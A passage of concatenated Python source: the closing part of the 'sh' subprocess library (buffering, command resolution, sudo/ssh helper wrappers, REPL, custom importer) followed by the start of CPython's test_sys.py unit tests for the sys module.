self.log = Logger("stream_bufferer")
def change_buffering(self, new_type):
# TODO, when we stop supporting 2.6, make this a with context
self.log.debug("acquiring buffering lock for changing buffering")
self._buffering_lock.acquire()
self.log.debug("got buffering lock for changing buffering")
try:
if new_type == 0:
self._use_up_buffer_first = True
self.type = new_type
finally:
self._buffering_lock.release()
self.log.debug("released buffering lock for changing buffering")
def process(self, chunk):
# MAKE SURE THAT THE INPUT IS PY3 BYTES
# THE OUTPUT IS ALWAYS PY3 BYTES
# TODO, when we stop supporting 2.6, make this a with context
self.log.debug("acquiring buffering lock to process chunk (buffering: %d)", self.type)
self._buffering_lock.acquire()
self.log.debug("got buffering lock to process chunk (buffering: %d)", self.type)
try:
# unbuffered
if self.type == 0:
if self._use_up_buffer_first:
self._use_up_buffer_first = False
to_write = self.buffer
self.buffer = []
to_write.append(chunk)
return to_write
return [chunk]
# line buffered
elif self.type == 1:
total_to_write = []
nl = "\n".encode(self.encoding)
while True:
newline = chunk.find(nl)
if newline == -1:
break
chunk_to_write = chunk[:newline + 1]
if self.buffer:
chunk_to_write = b"".join(self.buffer) + chunk_to_write
self.buffer = []
self.n_buffer_count = 0
chunk = chunk[newline + 1:]
total_to_write.append(chunk_to_write)
if chunk:
self.buffer.append(chunk)
self.n_buffer_count += len(chunk)
return total_to_write
# N size buffered
else:
total_to_write = []
while True:
overage = self.n_buffer_count + len(chunk) - self.type
if overage >= 0:
ret = "".encode(self.encoding).join(self.buffer) + chunk
chunk_to_write = ret[:self.type]
chunk = ret[self.type:]
total_to_write.append(chunk_to_write)
self.buffer = []
self.n_buffer_count = 0
else:
self.buffer.append(chunk)
self.n_buffer_count += len(chunk)
break
return total_to_write
finally:
self._buffering_lock.release()
self.log.debug("released buffering lock for processing chunk (buffering: %d)", self.type)
def flush(self):
self.log.debug("acquiring buffering lock for flushing buffer")
self._buffering_lock.acquire()
self.log.debug("got buffering lock for flushing buffer")
try:
ret = "".encode(self.encoding).join(self.buffer)
self.buffer = []
return ret
finally:
self._buffering_lock.release()
self.log.debug("released buffering lock for flushing buffer")
def with_lock(lock):
def wrapped(fn):
fn = contextmanager(fn)
@contextmanager
def wrapped2(*args, **kwargs):
with lock:
with fn(*args, **kwargs):
yield
return wrapped2
return wrapped
@with_lock(PUSHD_LOCK)
def pushd(path):
""" pushd changes the actual working directory for the duration of the
context, unlike the _cwd arg this will work with other built-ins such as
sh.glob correctly """
orig_path = os.getcwd()
os.chdir(path)
try:
yield
finally:
os.chdir(orig_path)
@contextmanager
def _args(**kwargs):
""" allows us to temporarily override all the special keyword parameters in
a with context """
kwargs_str = ",".join(["%s=%r" % (k, v) for k, v in kwargs.items()])
raise DeprecationWarning("""
sh.args() has been deprecated because it was never thread safe. use the
following instead:
sh2 = sh({kwargs})
sh2.your_command()
or
sh2 = sh({kwargs})
from sh2 import your_command
your_command()
""".format(kwargs=kwargs_str))
class Environment(dict):
""" this allows lookups to names that aren't found in the global scope to be
searched for as a program name. for example, if "ls" isn't found in this
module's scope, we consider it a system program and try to find it.
we use a dict instead of just a regular object as the base class because the
exec() statement used in the run_repl requires the "globals" argument to be a
dictionary """
# this is a list of all of the names that the sh module exports that will
# not resolve to functions. we don't want to accidentally shadow real
# commands with functions/imports that we define in sh.py. for example,
# "import time" may override the time system program
whitelist = set((
"Command",
"RunningCommand",
"CommandNotFound",
"DEFAULT_ENCODING",
"DoneReadingForever",
"ErrorReturnCode",
"NotYetReadyToRead",
"SignalException",
"ForkException",
"TimeoutException",
"__project_url__",
"__version__",
"__file__",
"_args",
"pushd",
"glob",
"contrib",
))
def __init__(self, globs, baked_args=None):
""" baked_args are defaults for the 'sh' execution context. for
example:
tmp = sh(_out=StringIO())
'out' would end up in here as an entry in the baked_args dict """
super(dict, self).__init__()
self.globs = globs
self.baked_args = baked_args or {}
self.disable_whitelist = False
def __getitem__(self, k):
# if we first import "_disable_whitelist" from sh, we can import
# anything defined in the global scope of sh.py. this is useful for our
# tests
if k == "_disable_whitelist":
self.disable_whitelist = True
return None
if k == 'args':
# Let the deprecated '_args' context manager be imported as 'args'
k = '_args'
# we're trying to import something real (maybe), see if it's in our
# global scope
if k in self.whitelist or self.disable_whitelist:
return self.globs[k]
# somebody tried to be funny and do "from sh import *"
if k == "__all__":
warnings.warn("Cannot import * from sh. Please import sh or import programs individually.")
return []
# check if we're naming a dynamically generated ReturnCode exception
exc = get_exc_from_name(k)
if exc:
return exc
# https://github.com/ipython/ipython/issues/2577
# https://github.com/amoffat/sh/issues/97#issuecomment-10610629
if k.startswith("__") and k.endswith("__"):
raise AttributeError
# is it a custom builtin?
builtin = getattr(self, "b_" + k, None)
if builtin:
return builtin
# is it a command?
cmd = resolve_command(k, self.baked_args)
if cmd:
return cmd
# how about an environment variable?
# this check must come after testing if its a command, because on some
# systems, there are an environment variables that can conflict with
# command names.
# https://github.com/amoffat/sh/issues/238
try:
return os.environ[k]
except KeyError:
pass
# nothing found, raise an exception
raise CommandNotFound(k)
# methods that begin with "b_" are custom builtins and will override any
# program that exists in our path. this is useful for things like
# common shell builtins that people are used to, but which aren't actually
# full-fledged system binaries
@staticmethod
def b_cd(path=None):
if path:
os.chdir(path)
else:
os.chdir(os.path.expanduser('~'))
@staticmethod
def b_which(program, paths=None):
return which(program, paths)
class Contrib(ModuleType): # pragma: no cover
@classmethod
def __call__(cls, name):
def wrapper1(fn):
@property
def cmd_getter(self):
cmd = resolve_command(name)
if not cmd:
raise CommandNotFound(name)
new_cmd = fn(cmd)
return new_cmd
setattr(cls, name, cmd_getter)
return fn
return wrapper1
mod_name = __name__ + ".contrib"
contrib = Contrib(mod_name)
sys.modules[mod_name] = contrib
@contrib("git")
def git(orig): # pragma: no cover
""" most git commands play nicer without a TTY """
cmd = orig.bake(_tty_out=False)
return cmd
@contrib("sudo")
def sudo(orig): # pragma: no cover
""" a nicer version of sudo that uses getpass to ask for a password, or
allows the first argument to be a string password """
prompt = "[sudo] password for %s: " % getpass.getuser()
def stdin():
pw = getpass.getpass(prompt=prompt) + "\n"
yield pw
def process(a, kwargs):
password = kwargs.pop("password", None)
if password is None:
pass_getter = stdin()
else:
pass_getter = password.rstrip("\n") + "\n"
kwargs["_in"] = pass_getter
return a, kwargs
cmd = orig.bake("-S", _arg_preprocess=process)
return cmd
@contrib("ssh")
def ssh(orig): # pragma: no cover
""" An ssh command for automatic password login """
class SessionContent(object):
def __init__(self):
self.chars = deque(maxlen=50000)
self.lines = deque(maxlen=5000)
self.line_chars = []
self.last_line = ""
self.cur_char = ""
def append_char(self, char):
if char == "\n":
line = self.cur_line
self.last_line = line
self.lines.append(line)
self.line_chars = []
else:
self.line_chars.append(char)
self.chars.append(char)
self.cur_char = char
@property
def cur_line(self):
line = "".join(self.line_chars)
return line
class SSHInteract(object):
def __init__(self, prompt_match, pass_getter, out_handler, login_success):
self.prompt_match = prompt_match
self.pass_getter = pass_getter
self.out_handler = out_handler
self.login_success = login_success
self.content = SessionContent()
# some basic state
self.pw_entered = False
self.success = False
def __call__(self, char, stdin):
self.content.append_char(char)
if self.pw_entered and not self.success:
self.success = self.login_success(self.content)
if self.success:
return self.out_handler(self.content, stdin)
if self.prompt_match(self.content):
password = self.pass_getter()
stdin.put(password + "\n")
self.pw_entered = True
def process(a, kwargs):
real_out_handler = kwargs.pop("interact")
password = kwargs.pop("password", None)
login_success = kwargs.pop("login_success", None)
prompt_match = kwargs.pop("prompt", None)
prompt = "Please enter SSH password: "
if prompt_match is None:
prompt_match = lambda content: content.cur_line.endswith("password: ") # noqa: E731
if password is None:
pass_getter = lambda: getpass.getpass(prompt=prompt) # noqa: E731
else:
pass_getter = lambda: password.rstrip("\n") # noqa: E731
if login_success is None:
login_success = lambda content: True # noqa: E731
kwargs["_out"] = SSHInteract(prompt_match, pass_getter, real_out_handler, login_success)
return a, kwargs
cmd = orig.bake(_out_bufsize=0, _tty_in=True, _unify_ttys=True, _arg_preprocess=process)
return cmd
def run_repl(env): # pragma: no cover
banner = "\n>> sh v{version}\n>> https://github.com/amoffat/sh\n"
print(banner.format(version=__version__))
while True:
try:
line = raw_input("sh> ")
except (ValueError, EOFError):
break
try:
exec(compile(line, "<dummy>", "single"), env, env)
except SystemExit:
break
except: # noqa: E722
print(traceback.format_exc())
# cleans up our last line
print("")
# this is a thin wrapper around THIS module (we patch sys.modules[__name__]).
# this is in the case that the user does a "from sh import whatever"
# in other words, they only want to import certain programs, not the whole
# system PATH worth of commands. in this case, we just proxy the
# import lookup to our Environment class
class SelfWrapper(ModuleType):
def __init__(self, self_module, baked_args=None):
# this is super ugly to have to copy attributes like this,
# but it seems to be the only way to make reload() behave
# nicely. if i make these attributes dynamic lookups in
# __getattr__, reload sometimes chokes in weird ways...
super(SelfWrapper, self).__init__(
name=getattr(self_module, '__name__', None),
doc=getattr(self_module, '__doc__', None)
)
for attr in ["__builtins__", "__file__", "__package__"]:
setattr(self, attr, getattr(self_module, attr, None))
# python 3.2 (2.7 and 3.3 work fine) breaks on osx (not ubuntu)
# if we set this to None. and 3.3 needs a value for __path__
self.__path__ = []
self.__self_module = self_module
self.__env = Environment(globals(), baked_args=baked_args)
def __getattr__(self, name):
return self.__env[name]
def __call__(self, **kwargs):
""" returns a new SelfWrapper object, where all commands spawned from it
have the baked_args kwargs set on them by default """
baked_args = self.__env.baked_args.copy()
baked_args.update(kwargs)
new_mod = self.__class__(self.__self_module, baked_args)
# inspect the line in the parent frame that calls and assigns the new sh
# variable, and get the name of the new variable we're assigning to.
# this is very brittle and pretty much a sin. but it works in 99% of
# the time and the tests pass
#
# the reason we need to do this is because we need to remove the old
# cached module from sys.modules. if we don't, it gets re-used, and any
# old baked params get used, which is not what we want
parent = inspect.stack()[1]
try:
code = parent[4][0].strip()
except TypeError:
# On the REPL or from the commandline, we don't get the source code in the
# top stack frame
# Older versions of pypy don't set parent[1] the same way as CPython or newer versions
# of Pypy so we have to special case that too.
if parent[1] in ('<stdin>', '<string>') or (
parent[1] == '<module>' and platform.python_implementation().lower() == 'pypy'):
# This depends on things like Python's calling convention and the layout of stack
# frames but it's a fix for a bug in a very cornery cornercase so....
module_name = parent[0].f_code.co_names[-1]
else:
raise
else:
parsed = ast.parse(code)
try:
module_name = parsed.body[0].targets[0].id
except Exception:
# Diagnose what went wrong
if not isinstance(parsed.body[0], ast.Assign):
raise RuntimeError("A new execution context must be assigned to a variable")
raise
if module_name == __name__:
raise RuntimeError("Cannot use the name '%s' as an execution context" % __name__)
sys.modules.pop(module_name, None)
return new_mod
def in_importlib(frame):
""" helper for checking if a filename is in importlib guts """
return frame.f_code.co_filename == "<frozen importlib._bootstrap>"
def register_importer():
""" registers our fancy importer that can let us import from a module name,
like:
import sh
tmp = sh()
from tmp import ls
"""
def test(importer_cls):
try:
return importer_cls.__class__.__name__ == ModuleImporterFromVariables.__name__
except AttributeError:
# ran into importer which is not a class instance
return False
already_registered = any([True for i in sys.meta_path if test(i)])
if not already_registered:
importer = ModuleImporterFromVariables(restrict_to=[SelfWrapper.__name__], )
sys.meta_path.insert(0, importer)
return not already_registered
def fetch_module_from_frame(name, frame):
mod = frame.f_locals.get(name, frame.f_globals.get(name, None))
return mod
class ModuleImporterFromVariables(object):
""" a fancy importer that allows us to import from a variable that was
recently set in either the local or global scope, like this:
sh2 = sh(_timeout=3)
from sh2 import ls
"""
def __init__(self, restrict_to=None):
self.restrict_to = set(restrict_to or set())
def find_module(self, mod_fullname, path=None):
""" mod_fullname doubles as the name of the VARIABLE holding our new sh
context. for example:
derp = sh()
from derp import ls
here, mod_fullname will be "derp". keep that in mind as we go through
the rest of this function """
parent_frame = inspect.currentframe().f_back
while parent_frame and in_importlib(parent_frame):
parent_frame = parent_frame.f_back
# Calling PyImport_ImportModule("some_module"); via the C API may not
# have a parent frame. Early-out to avoid in_importlib() trying to
# get f_code from None when looking for 'some_module'.
# This also happens when using gevent apparently.
if not parent_frame:
return None
# this line is saying "hey, does mod_fullname exist as a name we've
# defined previously?" the purpose of this is to ensure that
# mod_fullname is really a thing we've defined. if we haven't defined
# it before, then we "can't" import from it
module = fetch_module_from_frame(mod_fullname, parent_frame)
if not module:
return None
# make sure it's a class we're allowed to import from
if module.__class__.__name__ not in self.restrict_to:
return None
return self
def load_module(self, mod_fullname):
parent_frame = inspect.currentframe().f_back
while in_importlib(parent_frame):
parent_frame = parent_frame.f_back
module = fetch_module_from_frame(mod_fullname, parent_frame)
# we HAVE to include the module in sys.modules, per the import PEP.
# older versions of python were more lenient about this being set, but
# not in >= python3.3, unfortunately. this requirement necessitates the
# ugly code in SelfWrapper.__call__
sys.modules[mod_fullname] = module
module.__loader__ = self
return module
def run_tests(env, locale, a, version, force_select, **extra_env): # pragma: no cover
py_version = "python"
py_version += str(version)
py_bin = which(py_version)
return_code = None
poller = "poll"
if force_select:
poller = "select"
if py_bin:
print("Testing %s, locale %r, poller: %s" % (py_version.capitalize(), locale, poller))
env["SH_TESTS_USE_SELECT"] = str(int(force_select))
env["LANG"] = locale
for k, v in extra_env.items():
env[k] = str(v)
cmd = [py_bin, "-W", "ignore", os.path.join(THIS_DIR, "test.py")] + a[1:]
print("Running %r" % cmd)
return_code = os.spawnve(os.P_WAIT, cmd[0], cmd, env)
return return_code
def main(): # pragma: no cover
from optparse import OptionParser
parser = OptionParser()
parser.add_option("-e", "--envs", dest="envs", default=None, action="append")
parser.add_option("-l", "--locales", dest="constrain_locales", default=None, action="append")
options, parsed_args = parser.parse_args()
# these are essentially restrictions on what envs/constrain_locales to restrict to for
# the tests. if they're empty lists, it means use all available
action = None
if parsed_args:
action = parsed_args[0]
if action in ("test", "travis", "tox"):
import test
coverage = None
if test.HAS_UNICODE_LITERAL:
import coverage
env = os.environ.copy()
env["SH_TESTS_RUNNING"] = "1"
if coverage:
test.append_module_path(env, coverage)
# if we're testing locally, run all versions of python on the system
if action == "test":
all_versions = ("2.6", "2.7", "3.1", "3.2", "3.3", "3.4", "3.5", "3.6", "3.7", "3.8")
# if we're testing on travis or tox, just use the system's default python, since travis will spawn a vm per
# python version in our .travis.yml file, and tox will run its matrix via tox.ini
else:
v = sys.version_info
sys_ver = "%d.%d" % (v[0], v[1])
all_versions = (sys_ver,)
all_force_select = [True]
if HAS_POLL:
all_force_select.append(False)
all_locales = ("en_US.UTF-8", "C")
i = 0
ran_versions = set()
for locale in all_locales:
# make sure this locale is allowed
if options.constrain_locales and locale not in options.constrain_locales:
continue
for version in all_versions:
# make sure this version is allowed
if options.envs and version not in options.envs:
continue
for force_select in all_force_select:
env_copy = env.copy()
ran_versions.add(version)
exit_code = run_tests(env_copy, locale, parsed_args, version, force_select, SH_TEST_RUN_IDX=i)
if exit_code is None:
print("Couldn't find %s, skipping" % version)
elif exit_code != 0:
print("Failed for %s, %s" % (version, locale))
exit(1)
i += 1
print("Tested Python versions: %s" % ",".join(sorted(list(ran_versions))))
else:
env = Environment(globals())
run_repl(env)
if __name__ == "__main__": # pragma: no cover
# we're being run as a stand-alone script
main()
else:
# we're being imported from somewhere
sys.modules[__name__] = SelfWrapper(sys.modules[__name__])
register_importer()
|
test_sys.py
|
import unittest, test.support
from test.support.script_helper import assert_python_ok, assert_python_failure
import sys, io, os
import struct
import subprocess
import textwrap
import warnings
import operator
import codecs
import gc
import sysconfig
import locale
# count the number of test runs, used to create unique
# strings to intern in test_intern()
numruns = 0
class SysModuleTest(unittest.TestCase):
def setUp(self):
self.orig_stdout = sys.stdout
self.orig_stderr = sys.stderr
self.orig_displayhook = sys.displayhook
def tearDown(self):
sys.stdout = self.orig_stdout
sys.stderr = self.orig_stderr
sys.displayhook = self.orig_displayhook
test.support.reap_children()
def test_original_displayhook(self):
import builtins
out = io.StringIO()
sys.stdout = out
dh = sys.__displayhook__
self.assertRaises(TypeError, dh)
if hasattr(builtins, "_"):
del builtins._
dh(None)
self.assertEqual(out.getvalue(), "")
self.assertTrue(not hasattr(builtins, "_"))
dh(42)
self.assertEqual(out.getvalue(), "42\n")
self.assertEqual(builtins._, 42)
del sys.stdout
self.assertRaises(RuntimeError, dh, 42)
def test_lost_displayhook(self):
del sys.displayhook
code = compile("42", "<string>", "single")
self.assertRaises(RuntimeError, eval, code)
def test_custom_displayhook(self):
def baddisplayhook(obj):
raise ValueError
sys.displayhook = baddisplayhook
code = compile("42", "<string>", "single")
self.assertRaises(ValueError, eval, code)
def test_original_excepthook(self):
err = io.StringIO()
sys.stderr = err
eh = sys.__excepthook__
self.assertRaises(TypeError, eh)
try:
raise ValueError(42)
except ValueError as exc:
eh(*sys.exc_info())
self.assertTrue(err.getvalue().endswith("ValueError: 42\n"))
def test_excepthook(self):
with test.support.captured_output("stderr") as stderr:
sys.excepthook(1, '1', 1)
self.assertTrue("TypeError: print_exception(): Exception expected for " \
"value, str found" in stderr.getvalue())
# FIXME: testing the code for a lost or replaced excepthook in
# Python/pythonrun.c::PyErr_PrintEx() is tricky.
def test_exit(self):
# call with two arguments
self.assertRaises(TypeError, sys.exit, 42, 42)
# call without argument
with self.assertRaises(SystemExit) as cm:
sys.exit()
self.assertIsNone(cm.exception.code)
rc, out, err = assert_python_ok('-c', 'import sys; sys.exit()')
self.assertEqual(rc, 0)
self.assertEqual(out, b'')
self.assertEqual(err, b'')
# call with integer argument
with self.assertRaises(SystemExit) as cm:
sys.exit(42)
self.assertEqual(cm.exception.code, 42)
# call with tuple argument with one entry
# entry will be unpacked
with self.assertRaises(SystemExit) as cm:
sys.exit((42,))
self.assertEqual(cm.exception.code, 42)
# call with string argument
with self.assertRaises(SystemExit) as cm:
sys.exit("exit")
self.assertEqual(cm.exception.code, "exit")
# call with tuple argument with two entries
with self.assertRaises(SystemExit) as cm:
sys.exit((17, 23))
self.assertEqual(cm.exception.code, (17, 23))
# test that the exit machinery handles SystemExits properly
rc, out, err = assert_python_failure('-c', 'raise SystemExit(47)')
self.assertEqual(rc, 47)
self.assertEqual(out, b'')
self.assertEqual(err, b'')
def check_exit_message(code, expected, **env_vars):
rc, out, err = assert_python_failure('-c', code, **env_vars)
self.assertEqual(rc, 1)
self.assertEqual(out, b'')
self.assertTrue(err.startswith(expected),
"%s doesn't start with %s" % (ascii(err), ascii(expected)))
# test that stderr buffer is flushed before the exit message is written
# into stderr
check_exit_message(
r'import sys; sys.stderr.write("unflushed,"); sys.exit("message")',
b"unflushed,message")
# test that the exit message is written with backslashreplace error
# handler to stderr
check_exit_message(
r'import sys; sys.exit("surrogates:\uDCFF")',
b"surrogates:\\udcff")
# test that the unicode message is encoded to the stderr encoding
# instead of the default encoding (utf8)
check_exit_message(
r'import sys; sys.exit("h\xe9")',
b"h\xe9", PYTHONIOENCODING='latin-1')
def test_getdefaultencoding(self):
self.assertRaises(TypeError, sys.getdefaultencoding, 42)
# can't check more than the type, as the user might have changed it
self.assertIsInstance(sys.getdefaultencoding(), str)
# testing sys.settrace() is done in test_sys_settrace.py
# testing sys.setprofile() is done in test_sys_setprofile.py
def test_setcheckinterval(self):
with warnings.catch_warnings():
warnings.simplefilter("ignore")
self.assertRaises(TypeError, sys.setcheckinterval)
orig = sys.getcheckinterval()
for n in 0, 100, 120, orig: # orig last to restore starting state
sys.setcheckinterval(n)
self.assertEqual(sys.getcheckinterval(), n)
def test_switchinterval(self):
self.assertRaises(TypeError, sys.setswitchinterval)
self.assertRaises(TypeError, sys.setswitchinterval, "a")
self.assertRaises(ValueError, sys.setswitchinterval, -1.0)
self.assertRaises(ValueError, sys.setswitchinterval, 0.0)
orig = sys.getswitchinterval()
# sanity check
self.assertTrue(orig < 0.5, orig)
try:
for n in 0.00001, 0.05, 3.0, orig:
sys.setswitchinterval(n)
self.assertAlmostEqual(sys.getswitchinterval(), n)
finally:
sys.setswitchinterval(orig)
def test_recursionlimit(self):
self.assertRaises(TypeError, sys.getrecursionlimit, 42)
oldlimit = sys.getrecursionlimit()
self.assertRaises(TypeError, sys.setrecursionlimit)
self.assertRaises(ValueError, sys.setrecursionlimit, -42)
sys.setrecursionlimit(10000)
self.assertEqual(sys.getrecursionlimit(), 10000)
sys.setrecursionlimit(oldlimit)
def test_recursionlimit_recovery(self):
if hasattr(sys, 'gettrace') and sys.gettrace():
self.skipTest('fatal error if run with a trace function')
oldlimit = sys.getrecursionlimit()
def f():
f()
try:
for depth in (10, 25, 50, 75, 100, 250, 1000):
try:
sys.setrecursionlimit(depth)
except RecursionError:
# Issue #25274: The recursion limit is too low at the
# current recursion depth
continue
# Issue #5392: test stack overflow after hitting recursion
# limit twice
self.assertRaises(RecursionError, f)
self.assertRaises(RecursionError, f)
finally:
sys.setrecursionlimit(oldlimit)
@test.support.cpython_only
def test_setrecursionlimit_recursion_depth(self):
# Issue #25274: Setting a low recursion limit must be blocked if the
# current recursion depth is already higher than the "lower-water
# mark". Otherwise, it may not be possible anymore to
# reset the overflowed flag to 0.
from _testcapi import get_recursion_depth
def set_recursion_limit_at_depth(depth, limit):
recursion_depth = get_recursion_depth()
if recursion_depth >= depth:
with self.assertRaises(RecursionError) as cm:
sys.setrecursionlimit(limit)
self.assertRegex(str(cm.exception),
"cannot set the recursion limit to [0-9]+ "
"at the recursion depth [0-9]+: "
"the limit is too low")
else:
set_recursion_limit_at_depth(depth, limit)
oldlimit = sys.getrecursionlimit()
try:
sys.setrecursionlimit(1000)
for limit in (10, 25, 50, 75, 100, 150, 200):
# formula extracted from _Py_RecursionLimitLowerWaterMark()
if limit > 200:
depth = limit - 50
else:
depth = limit * 3 // 4
set_recursion_limit_at_depth(depth, limit)
finally:
sys.setrecursionlimit(oldlimit)
def test_recursionlimit_fatalerror(self):
# A fatal error occurs if a second recursion limit is hit when recovering
# from a first one.
code = textwrap.dedent("""
import sys
def f():
try:
f()
except RecursionError:
f()
sys.setrecursionlimit(%d)
f()""")
with test.support.SuppressCrashReport():
for i in (50, 1000):
sub = subprocess.Popen([sys.executable, '-c', code % i],
stderr=subprocess.PIPE)
err = sub.communicate()[1]
self.assertTrue(sub.returncode, sub.returncode)
self.assertIn(
b"Fatal Python error: Cannot recover from stack overflow",
err)
def test_getwindowsversion(self):
# Raise SkipTest if sys doesn't have getwindowsversion attribute
test.support.get_attribute(sys, "getwindowsversion")
v = sys.getwindowsversion()
self.assertEqual(len(v), 5)
self.assertIsInstance(v[0], int)
self.assertIsInstance(v[1], int)
self.assertIsInstance(v[2], int)
self.assertIsInstance(v[3], int)
self.assertIsInstance(v[4], str)
self.assertRaises(IndexError, operator.getitem, v, 5)
self.assertIsInstance(v.major, int)
self.assertIsInstance(v.minor, int)
self.assertIsInstance(v.build, int)
self.assertIsInstance(v.platform, int)
self.assertIsInstance(v.service_pack, str)
self.assertIsInstance(v.service_pack_minor, int)
self.assertIsInstance(v.service_pack_major, int)
self.assertIsInstance(v.suite_mask, int)
self.assertIsInstance(v.product_type, int)
self.assertEqual(v[0], v.major)
self.assertEqual(v[1], v.minor)
self.assertEqual(v[2], v.build)
self.assertEqual(v[3], v.platform)
self.assertEqual(v[4], v.service_pack)
# This is how platform.py calls it. Make sure tuple
# still has 5 elements
maj, min, buildno, plat, csd = sys.getwindowsversion()
def test_call_tracing(self):
self.assertRaises(TypeError, sys.call_tracing, type, 2)
@unittest.skipUnless(hasattr(sys, "setdlopenflags"),
'test needs sys.setdlopenflags()')
def test_dlopenflags(self):
self.assertTrue(hasattr(sys, "getdlopenflags"))
self.assertRaises(TypeError, sys.getdlopenflags, 42)
oldflags = sys.getdlopenflags()
self.assertRaises(TypeError, sys.setdlopenflags)
sys.setdlopenflags(oldflags+1)
self.assertEqual(sys.getdlopenflags(), oldflags+1)
sys.setdlopenflags(oldflags)
@test.support.refcount_test
def test_refcount(self):
# n here must be a global in order for this test to pass while
# tracing with a python function. Tracing calls PyFrame_FastToLocals
# which will add a copy of any locals to the frame object, causing
# the reference count to increase by 2 instead of 1.
global n
self.assertRaises(TypeError, sys.getrefcount)
c = sys.getrefcount(None)
n = None
self.assertEqual(sys.getrefcount(None), c+1)
del n
self.assertEqual(sys.getrefcount(None), c)
if hasattr(sys, "gettotalrefcount"):
self.assertIsInstance(sys.gettotalrefcount(), int)
def test_getframe(self):
self.assertRaises(TypeError, sys._getframe, 42, 42)
self.assertRaises(ValueError, sys._getframe, 2000000000)
self.assertTrue(
SysModuleTest.test_getframe.__code__ \
is sys._getframe().f_code
)
# sys._current_frames() is a CPython-only gimmick.
@test.support.reap_threads
def test_current_frames(self):
import threading
import traceback
# Spawn a thread that blocks at a known place. Then the main
# thread does sys._current_frames(), and verifies that the frames
# returned make sense.
entered_g = threading.Event()
leave_g = threading.Event()
thread_info = [] # the thread's id
def f123():
g456()
def g456():
thread_info.append(threading.get_ident())
entered_g.set()
leave_g.wait()
t = threading.Thread(target=f123)
t.start()
entered_g.wait()
# At this point, t has finished its entered_g.set(), although it's
# impossible to guess whether it's still on that line or has moved on
# to its leave_g.wait().
self.assertEqual(len(thread_info), 1)
thread_id = thread_info[0]
d = sys._current_frames()
for tid in d:
self.assertIsInstance(tid, int)
self.assertGreater(tid, 0)
main_id = threading.get_ident()
self.assertIn(main_id, d)
self.assertIn(thread_id, d)
# Verify that the captured main-thread frame is _this_ frame.
frame = d.pop(main_id)
self.assertTrue(frame is sys._getframe())
# Verify that the captured thread frame is blocked in g456, called
# from f123. This is a litte tricky, since various bits of
# threading.py are also in the thread's call stack.
frame = d.pop(thread_id)
stack = traceback.extract_stack(frame)
for i, (filename, lineno, funcname, sourceline) in enumerate(stack):
if funcname == "f123":
break
else:
self.fail("didn't find f123() on thread's call stack")
self.assertEqual(sourceline, "g456()")
# And the next record must be for g456().
filename, lineno, funcname, sourceline = stack[i+1]
self.assertEqual(funcname, "g456")
self.assertIn(sourceline, ["leave_g.wait()", "entered_g.set()"])
# Reap the spawned thread.
leave_g.set()
t.join()
def test_attributes(self):
self.assertIsInstance(sys.api_version, int)
self.assertIsInstance(sys.argv, list)
self.assertIn(sys.byteorder, ("little", "big"))
self.assertIsInstance(sys.builtin_module_names, tuple)
self.assertIsInstance(sys.copyright, str)
self.assertIsInstance(sys.exec_prefix, str)
self.assertIsInstance(sys.base_exec_prefix, str)
self.assertIsInstance(sys.executable, str)
self.assertEqual(len(sys.float_info), 11)
self.assertEqual(sys.float_info.radix, 2)
self.assertEqual(len(sys.int_info), 2)
self.assertTrue(sys.int_info.bits_per_digit % 5 == 0)
self.assertTrue(sys.int_info.sizeof_digit >= 1)
self.assertEqual(type(sys.int_info.bits_per_digit), int)
self.assertEqual(type(sys.int_info.sizeof_digit), int)
self.assertIsInstance(sys.hexversion, int)
self.assertEqual(len(sys.hash_info), 9)
self.assertLess(sys.hash_info.modulus, 2**sys.hash_info.width)
# sys.hash_info.modulus should be a prime; we do a quick
# probable primality test (doesn't exclude the possibility of
# a Carmichael number)
for x in range(1, 100):
self.assertEqual(
pow(x, sys.hash_info.modulus-1, sys.hash_info.modulus),
1,
"sys.hash_info.modulus {} is a non-prime".format(
sys.hash_info.modulus)
)
self.assertIsInstance(sys.hash_info.inf, int)
self.assertIsInstance(sys.hash_info.nan, int)
self.assertIsInstance(sys.hash_info.imag, int)
algo = sysconfig.get_config_var("Py_HASH_ALGORITHM")
if sys.hash_info.algorithm in {"fnv", "siphash24"}:
self.assertIn(sys.hash_info.hash_bits, {32, 64})
self.assertIn(sys.hash_info.seed_bits, {32, 64, 128})
if algo == 1:
self.assertEqual(sys.hash_info.algorithm, "siphash24")
elif algo == 2:
self.assertEqual(sys.hash_info.algorithm, "fnv")
else:
self.assertIn(sys.hash_info.algorithm, {"fnv", "siphash24"})
else:
# PY_HASH_EXTERNAL
self.assertEqual(algo, 0)
self.assertGreaterEqual(sys.hash_info.cutoff, 0)
self.assertLess(sys.hash_info.cutoff, 8)
self.assertIsInstance(sys.maxsize, int)
self.assertIsInstance(sys.maxunicode, int)
self.assertEqual(sys.maxunicode, 0x10FFFF)
self.assertIsInstance(sys.platform, str)
self.assertIsInstance(sys.prefix, str)
self.assertIsInstance(sys.base_prefix, str)
self.assertIsInstance(sys.version, str)
vi = sys.version_info
self.assertIsInstance(vi[:], tuple)
self.assertEqual(len(vi), 5)
self.assertIsInstance(vi[0], int)
self.assertIsInstance(vi[1], int)
self.assertIsInstance(vi[2], int)
self.assertIn(vi[3], ("alpha", "beta", "candidate", "final"))
self.assertIsInstance(vi[4], int)
self.assertIsInstance(vi.major, int)
self.assertIsInstance(vi.minor, int)
self.assertIsInstance(vi.micro, int)
self.assertIn(vi.releaselevel, ("alpha", "beta", "candidate", "final"))
self.assertIsInstance(vi.serial, int)
self.assertEqual(vi[0], vi.major)
self.assertEqual(vi[1], vi.minor)
self.assertEqual(vi[2], vi.micro)
self.assertEqual(vi[3], vi.releaselevel)
self.assertEqual(vi[4], vi.serial)
self.assertTrue(vi > (1,0,0))
self.assertIsInstance(sys.float_repr_style, str)
self.assertIn(sys.float_repr_style, ('short', 'legacy'))
if not sys.platform.startswith('win'):
self.assertIsInstance(sys.abiflags, str)
def test_thread_info(self):
info = sys.thread_info
self.assertEqual(len(info), 3)
self.assertIn(info.name, ('nt', 'pthread', 'solaris', None))
self.assertIn(info.lock, ('semaphore', 'mutex+cond', None))
def test_43581(self):
# Can't use sys.stdout, as this is a StringIO object when
# the test runs under regrtest.
self.assertEqual(sys.__stdout__.encoding, sys.__stderr__.encoding)
def test_intern(self):
global numruns
numruns += 1
self.assertRaises(TypeError, sys.intern)
s = "never interned before" + str(numruns)
self.assertTrue(sys.intern(s) is s)
s2 = s.swapcase().swapcase()
self.assertTrue(sys.intern(s2) is s)
# Subclasses of string can't be interned, because they
# provide too much opportunity for insane things to happen.
# We don't want them in the interned dict and if they aren't
# actually interned, we don't want to create the appearance
# that they are by allowing intern() to succeed.
class S(str):
def __hash__(self):
return 123
self.assertRaises(TypeError, sys.intern, S("abc"))
